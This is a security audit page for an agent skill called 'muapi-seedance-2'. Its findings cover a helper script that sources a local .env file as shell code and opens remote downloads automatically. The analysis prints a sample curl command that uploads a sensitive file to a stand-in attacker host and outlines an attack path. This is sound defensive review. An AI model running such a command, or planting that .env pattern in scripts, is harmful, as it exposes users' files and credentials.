Back to skill

Security audit

muapi-seedance-2

Security checks for vulnerabilities and agentic risk

Overview

This video-generation skill mostly matches its stated purpose, but it needs review because its helper script can execute a local .env file and automatically download or open remote output.

Install only if you are comfortable running a shell helper that contacts MuAPI, uploads selected local images, writes downloaded outputs, and may open generated media. Do not run it from directories containing untrusted .env files; preferably remove the automatic source .env behavior or require MUAPI_KEY through the environment before use.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (2)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/generate-seedance.sh:22
Finding

Arbitrary Shell Command Execution Through Automatic .env Sourcing

Content
View full analysis
/dev/null || true; fi ``` ### Technical Analysis The script loads `.env` using Bash's `source` built-in. `source` does not parse the file as passive key-value configuration; it executes the file as shell code in the current process. The `.env` path is relative to the caller's current working directory rather than a trusted, script-relative configuration directory. Consequently, anyone able to place or modify `.env` in the directory from which the Skill is invoked can execute arbitrary shell commands when the script starts. Redirecting errors to `/dev/null` and appending `|| true` do not provide isolation. They only suppress failures and allow execution to continue. The `.env` file is also processed before the API-key validation and before the selected generation operation is performed. An attacker-controlled file could contain commands such as: ```bash MUAPI_KEY=dummy curl -X POST --data-binary @/path/to/sensitive-file https://attacker.example/upload ``` Any such commands would run with the environment and operating-system permissions of the user or Agent invoking the Skill. ### Attack Path 1. An attacker gains the ability to create or modify `.env` in a directory where the user or Agent may invoke the script. This could occur through a downloaded project, shared workspace, writable working directory, or malicious archive. 2. The attacker inserts shell commands into that `.env` file. 3. The user or Agent invokes `scripts/generate-seedance.sh` while the attacker-controlled directory is the current working directory. 4. Bash finds `.env` and executes it through `source`. 5. The attacker's commands inherit the invoking user's permissions, environment variables, filesystem access, and network access. 6. Execution o ...[truncated 871 chars]
Remediation
View remediation
&2 exit 1 fi ``` If a configuration file must be supported, parse only a narrowly defined `MUAPI_KEY=` record without using `eval`, `source`, or equivalent shell execution mechanisms. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/generate-seedance.sh:10
Finding

Remote API Output Is Downloaded and Opened by Default

Content
View full analysis
&2 curl -s -o "$TEMP_FILE" "$URL" [[ "$OSTYPE" == "darwin"* ]] && open "$TEMP_FILE" fi ``` The command-line option only sets the already enabled value: ```bash --view) VIEW=true; shift ;; ``` ### Technical Analysis The help text presents `--view` as an optional action, but `VIEW` is initialized to `true`, and the script provides no option that changes it to `false`. Thus, synchronous image-to-video and extension jobs download returned output automatically. On macOS, the downloaded file is also opened using the application registered for its extension. The output URL is obtained from the remote API response: ```bash URL=$(echo "$RESULT" | jq -r '.outputs[0] // empty') ``` Before downloading or opening that URL, the script does not enforce: - An expected HTTPS scheme. - An allowlist of trusted output hosts. - A maximum download size. - An expected media MIME type. - File-signature validation. - A safe, fixed file extension. - Successful HTTP status handling through `curl --fail`. - Explicit user consent to open the downloaded content. The filename extension is derived directly from the URL. A compromised service, manipulated API response, or other upstream failure could therefore cause the script to retrieve un ...[truncated 1776 chars]
Remediation
View remediation
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
Findings (8)

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · scripts/generate-seedance.sh (reported line 24)May include surrounding context.

sh
MUAPI_BASE="https://api.muapi.ai/api/v1"

if [ -f ".env" ]; then source .env 2>/dev/null || true; fi

while [[ $# -gt 0 ]]; do
    case $1 in

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · scripts/generate-seedance.sh (reported line 24)May include surrounding context.

sh
MUAPI_BASE="https://api.muapi.ai/api/v1"

if [ -f ".env" ]; then source .env 2>/dev/null || true; fi

while [[ $# -gt 0 ]]; do
    case $1 in

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
93% confidence
Finding

The skill includes executable shell usage examples and operational workflows but declares no explicit tool scope such as permissions or allowed-tools. In an agent ecosystem, this creates an authorization gap where consumers may not realize the skill expects shell access, increasing the chance of unintended command execution or over-broad tool exposure.

Content

No source excerpt is available for this finding.

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · scripts/generate-seedance.sh (reported line 22)May include surrounding context.

sh
MAX_WAIT=600
POLL_INTERVAL=5

MUAPI_BASE="https://api.muapi.ai/api/v1"

if [ -f ".env" ]; then source .env 2>/dev/null || true; fi

External Transmission

Medium
Category
Data Exfiltration
Confidence
70% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · scripts/generate-seedance.sh (reported line 238)May include surrounding context.

sh
PAYLOAD="{\"prompt\": $PROMPT_JSON, \"images_list\": $IMAGES_JSON, \"aspect_ratio\": \"$ASPECT\", \"duration\": $DURATION, \"quality\": \"$QUALITY\"}"

    [ "$JSON_ONLY" = false ] && echo "Submitting to seedance-v2.0-i2v (${#IMAGE_URLS[@]} image(s))..." >&2
    SUBMIT=$(curl -s -X POST "${MUAPI_BASE}/seedance-v2.0-i2v" "${HEADERS[@]}" -d "$PAYLOAD")

    if echo "$SUBMIT" | jq -e '.error // .detail' >/dev/null 2>&1; then
        ERR=$(echo "$SUBMIT" | jq -r '.error // .detail')

External Transmission

Medium
Category
Data Exfiltration
Confidence
70% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · scripts/generate-seedance.sh (reported line 275)May include surrounding context.

sh
fi

    [ "$JSON_ONLY" = false ] && echo "Submitting extend for request: $EXTEND_REQUEST_ID..." >&2
    SUBMIT=$(curl -s -X POST "${MUAPI_BASE}/seedance-v2.0-extend" "${HEADERS[@]}" -d "$PAYLOAD")

    if echo "$SUBMIT" | jq -e '.error // .detail' >/dev/null 2>&1; then
        ERR=$(echo "$SUBMIT" | jq -r '.error // .detail')

Intent-Code Divergence

Low
Category
Not specified by scanner
Confidence
90% confidence
Finding

The section is presented as the async usage pattern for this Seedance skill, but the follow-up command checks results with ../../../../core/media/generate-video.sh rather than this skill's scripts/generate-seedance.sh. That inline documentation contradicts the surrounding instructions and could mislead users about what component actually handles Seedance job retrieval.

Content

No source excerpt is available for this finding.

Context-Inappropriate Capability

Low
Category
Not specified by scanner
Confidence
77% confidence
Finding

The manifest describes a cinema-director/video-generation skill, and its core justified capability is submitting generation jobs to the Seedance API. Sourcing a local .env file to pull in environment variables is an extra credential-access behavior not mentioned in the stated purpose and is not intrinsic to directing or prompt construction itself.

Content

No source excerpt is available for this finding.